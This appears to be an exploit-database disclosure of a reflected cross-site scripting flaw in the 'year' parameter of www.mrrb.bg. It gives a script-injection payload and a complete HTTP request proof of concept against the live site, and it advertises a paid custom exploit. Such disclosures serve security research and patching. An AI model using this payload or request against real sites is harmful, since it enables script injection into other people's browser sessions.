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## https://sploitus.com/exploit?id=PACKETSTORM:213572
## Titles: mrrb.bg-APP - XSS-Reflected
## Author: nu11secur1ty
## Date: 01/06/2026
## Vendor: mrrb.bg
## Software: mrrb.bg
## Reference: https://portswigger.net/web-security/cross-site-scripting
## Description:
The value of the `year` request parameter is copied into the value of an
HTML tag attribute which is encapsulated in double quotation marks. The
payload fchd2"><script>alert(1)</script>a1mg2 was submitted in the year
parameter. This input was echoed unmodified in the application's response.
STATUS: HIGH- Vulnerability
[+]PoC:
```
GET
/en/reload-calendar/?month=12&year=2025fchd2%22%3e%3cscript%3ealert(1)%3c%2fscript%3ea1mg2
HTTP/2
Host: www.mrrb.bg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="143", "Not;A=Brand";v="24", "Google Chrome";v="143"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html, */*; q=0.01
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: GeneralAppGenSession=jqlrr36bq8q2d2ucrpm9o49g25;
_ga=GA1.2.1383633579.1767642035; _gid=GA1.2.449285359.1767642035; _gat=1;
_ga_S2X8R0459V=GS2.2.s1767642035$o1$g1$t1767642039$j56$l0$h0
X-Requested-With: XMLHttpRequest
Referer: https://www.mrrb.bg/en/
```
[+]Custom PoC - Exploit:
```
170 Euro
```
## Link:
[href](https://venvar.gumroad.com/l/fpfywm)
## Demo PoC:
[href](https://www.patreon.com/posts/mrrb-bg-xss-147550429)
## Time spent:
04:27:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <https://nu11secur1ty.blogspot.com/>